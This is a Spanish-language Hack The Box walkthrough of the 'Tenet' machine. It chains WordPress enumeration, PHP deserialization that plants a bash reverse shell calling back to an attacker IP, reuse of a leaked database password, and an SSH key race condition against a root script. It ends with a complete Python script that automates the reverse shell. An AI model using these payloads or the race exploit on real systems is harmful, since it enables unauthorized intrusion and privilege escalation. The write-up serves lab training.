Tenet - Hack The Box

Tenet

Script automatizado para la intrusión como www-data: https://pastebin.com/epNw7PSz

ENUMERACION

Como siempre analizamos los puertos abiertos que tiene la maquina

❯ nmap -sC -sV -p80,22 10.10.10.223 -oN scanPorts
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-18 05:42 EDT
Nmap scan report for 10.10.10.223
Host is up (0.072s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Con la herramienta whatweb analizamos un poco la web

❯ whatweb http://10.10.10.223 > whatweb                                                                                                                                                                                                                                           
❯ cat whatweb
http://10.10.10.223 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.223], Title[Apache2 Ubuntu Default Page: It works]

No nos muestra informacion asi que puedo estar pensando que por detras se esta realizando Virtual Hosting, muchas de las maquinas de HTB usan el propio nombre cn el .htb al final, lo agregamos al /etc/hosts y recargamos la pagina

cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

10.10.10.223    tenet.htb

Untitled

Estamos ante un Wordpress, con la herramienta wpscan podemos enumerar muchas cosas, entre ellas informacion de la pag web y usuarios:

❯ whatweb http://tenet.htb/ > whatweb2                                                                                                                                                                                                                                         
❯ cat whatweb2
http://tenet.htb/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.223], MetaGenerator[WordPress 5.6], PoweredBy[--], Script, Title[Tenet], UncommonHeaders[link], WordPress[5.6]
❯ wpscan --url http://tenet.htb/ --enumerate u

[i] User(s) Identified:

[+] protagonist
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] neil
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Tambien existe un script en lua de nmap que sirve para escanear un poco las paginas de Wordpress

❯ nmap --script http-wordpress-enum -p80 10.10.10.223 -oN WordpressScan
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-18 06:06 EDT
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.095s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-wordpress-enum: 
| Search limited to top 100 themes/plugins
|   plugins
|_    akismet 4.1.7

No encontramos nada interesante, asi que enumeramos la pagina nosotros mismos, encontramos un comentario del usuario Neil, el cual habla sobre un archivo sator.php y un backup

Esto me hace pensar que puede haber algun archivo llamado sator.php alojado en la maquina, despues de probar en varios directorios pruebo a ver si existe el subdominio sator para el dominio tenet.htb:

Untitled

cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

10.10.10.223    tenet.htb sator.tenet.htb

Existe y tambien existe el archivo sator.php

Untitled

Pero y a que se referia con el backup, pues algo posible a enumerar es probar extensiones relacionadas con backups como por ejemplo .bak

¿Que es un archivo BAK?

BA-K es la extensión de archivo utilizada por un gran número de diferentes aplicaciones para almacenar datos de copia de seguridad.

Untitled

Lo abrimos y podemos ver el codigo fuente de la pagina sator.php:

cat sator.php.bak
<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }

        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();

?>

EXPLOTACION

PHP DESERIALIZATION

Estudiando el codigo php de la pagina web encuentro que podemos pasarle un input a traves de la variable ‘arepo’ , por lo cual podemos tratar de pasarle un payload malicioso serializado en php para que luego nos lo deserialize:

$input = $_GET['arepo'] ?? '';

lo que le pasemos a traves de ‘arepo’ lo almacena en $input

$databaseupdate = unserialize($input);

deserializa el input y lo almacena en databaseupdate

En este link nos enseña a como aprovecharnos de esto para coseguir colocar un archivo con el contenido malicioso.

Encuentro en GitHub un exploit que nos viene al pelo: exploit

Si nos fijamos la estructura es muy parecida a nuestro php, solo tenemos que cambiar algunas cosas, el resultado final del exploit quedaria asi:

<?php 
class DatabaseExport
{
   public $user_file = 'rce.php';
   public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.16.198/443 0>&1\'"); ?>';
}
$url = 'http://sator.tenet.htb/sator.php?arepo='; // Change it to arbitrary url
print urlencode(serialize(new DatabaseExport()));
?>

Lo ejecutamos y nos da un contenido serializado que se lo tenemos que pasar a ‘arepo’ :

❯ curl -s "http://sator.tenet.htb/sator.php/?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.16.198%2F443+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D"
[+] Grabbing users from text file <br>
[] Database updated <br>[] Database updated <br>   
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────                                                                                                                                                                                                                                        
❯ curl -s "http://sator.tenet.htb/rce.php"

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.198] from (UNKNOWN) [10.10.10.223] 60974
whoami
www-data

( ☞◔ ౪ ◔)☞ Tenemos una shell como www-data, realizamos el tratamiento de la TTY para tener una shell interactiva, vamos a enumerar el sistema para escalar privilegios con linpeas.sh y nos reporta una contraseña de neil

╔══════════╣ Analyzing Wordpress Files (limit 70)                                                                                                                                                                                          
-rw-r--r-- 1 www-data www-data 3185 Jan  7  2021 /var/www/html/wordpress/wp-config.php                                                                                                                                                     
define( 'DB_NAME', 'wordpress' );                                                                                                                                                                                                          
define( 'DB_USER', 'neil' );                                                                                                                                                                                                               
define( 'DB_PASSWORD', 'Opera2112' );                                                                                                                                                                                                      
define( 'DB_HOST', 'localhost' );

Podemos conectarnos por ssh con la cuenta de neil:

❯ ssh neil@10.10.10.223
The authenticity of host '10.10.10.223 (10.10.10.223)' can't be established.
ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.223' (ECDSA) to the list of known hosts.
neil@10.10.10.223's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3
neil@tenet:~$ cat user.txt 
0db1ca0---8243fdd4268---------
neil@tenet:~$

ESCALACION DE PRIVILEGIOS

Podemos ejecutar como cualquier usuario este script:

neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

neil@tenet:~$ sudo -u root /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!

Lo que hace este script es definir una variable llamada key a la cual le pasan una clave publica de root, luego ejecuta la funcion addkey que lo que hace es :

addKey() {                                                                                                           
                                                                                                                     
        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)                                                                       
                                                                                                                     
        (umask 110; touch $tmpName)                                                                                 
                                                                                                                     
        /bin/echo $key >>$tmpName                                                                                   
                                                                                                                   
        checkFile $tmpName                                                                                           
                                                                                                                     
        /bin/cat $tmpName >>/root/.ssh/authorized_keys                                                             
                                                                                                                     
        /bin/rm $tmpName                                                                                          
                                                                                                                     
}

Crea una carpeta en /tmp con un nombre aleatorio ssh-XXXXX las X son letras o numeros aleatorios, luego mete la clave publica en ese archivo creado, lo chequea con la funcion checkFile y lo elimina:

neil@tenet:~$ sudo -u root /usr/local/bin/enableSSH.sh                                                             
Successfully added root@ubuntu to authorized_keys file!                                                              

│neil@tenet:/tmp$ while true; do ls -la;done | grep -v -i -E ".test|X11|XIM|system|vmware|total|pspy64s|."
│ls: cannot access 'ssh-tclsaPVs': No such file or directory

La idea seria realizar un secuestro de ese archivo intentando ser mas rapido que el borrado del archivo, nos aprovechamos de que root ejecuta este archivo para asi añadir nuestra clave publica (id_rsa.pub) que nos hemos creado con ssh-keygen

Necesitaremos tener 2 consolas abiertas, una para hacer un bucle en el que ejecute infinitamente un echo y que añada nuestra id_rsa.pub al archivo que crea el script gracias a

| tee /tmp/ssh* el * lo que hace es generalizar por cualquier archivo que se llama ssh[loquesea] de esta forma podemos añadir nuestra clave antes de que el script lo elimine.

Ejecutamos el bucle, en la otra terminal ejecutamos un par de veces el script como root y ya podemos acceder por ssh al sistema como el usuario root, ya que hemos añadido nuestra clave publica id_rsa.pub al authorized_keys de la maquina

neil@tenet:~$ while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAA******************+3pDXrNbTdMPY07cfQHLmx45hhsQBOa9QGOGxxey9TrV6DojyYIf3ScKFsPQNvB1NUz2v8whgnBQ1h4Zny4khj0btaRuYDD7+1gw***********2AMa5MSwQsE6RrZ/TD9v+Ljx79vrw/VRGTfETCzP4EQQtktyLbHbAWiM8QxjmbdZ5anYRg4XrjiYmTZ08nU1I2217szuj4Gf36bHIUErBbaSKHAyLph1nh3uMzGHVIAA+nn22+KJvlT6bRWd9Ff7EosE6SQk0HPmS4ZQvJrQdAsDQdJDlt7InSpJ3ogHNqi2Zpe2eljl3P57NviKUr4dqRz0BcBQws2mRJQrbI2vR/RTaXdoMNk= root@kali" | tee /tmp/ssh*; done
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────                                                                                                                                                                                                                                       
❯ ssh root@10.10.10.223
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
Last login: Thu Feb 11 14:37:46 2021
root@tenet:~#

Os dejo por aqui tambien el Script qutomatizado para la intrusion como el usuario www-data:

#!/usr/bin/python3

#Script que automatiza la intrusion como www-data en la maquina Tenet de HTB
#Solo teneis que cambiar la IP

import requests
import sys
import time
import threading
from pwn import *

#Variables
IP = "10.10.16.198" # <= Cambiar IP
url_main = "http://10.10.10.223/sator.php/?arepo="
url_shell = "http://10.10.10.223/tukurce.php"
payload = "O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A11%3A%22tukurce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F"
payload2 = "%2F443+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D"
lport = 443
#Funciones
def obtainShell():
    
    try:
        s = requests.Session()
        r = s.get(url_main+payload+IP+payload2)
        p1 = log.progress("\n[*]Ejecutando PHP Deserialization\n")
        time.sleep(2)
        p1.status("\nEnviando el payload malicioso...\n")
        r = s.get(url_shell)

    except Exception as e:
        print(e)

if __name__ == '__main__':
    try:
        threading.Thread(target=obtainShell).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(lport, timeout=5).wait_for_connection()

    if shell.sock is None:
        log.failure("No se ha podido entrablar conexion")
        sys.exit()
    else:
        log.success("\n ✔️  Se ha obtenido una shell ✔️ \n")
        time.sleep(1)
        log.info("\nAcceso como www-data\n")
        time.sleep(1)

    shell.interactive()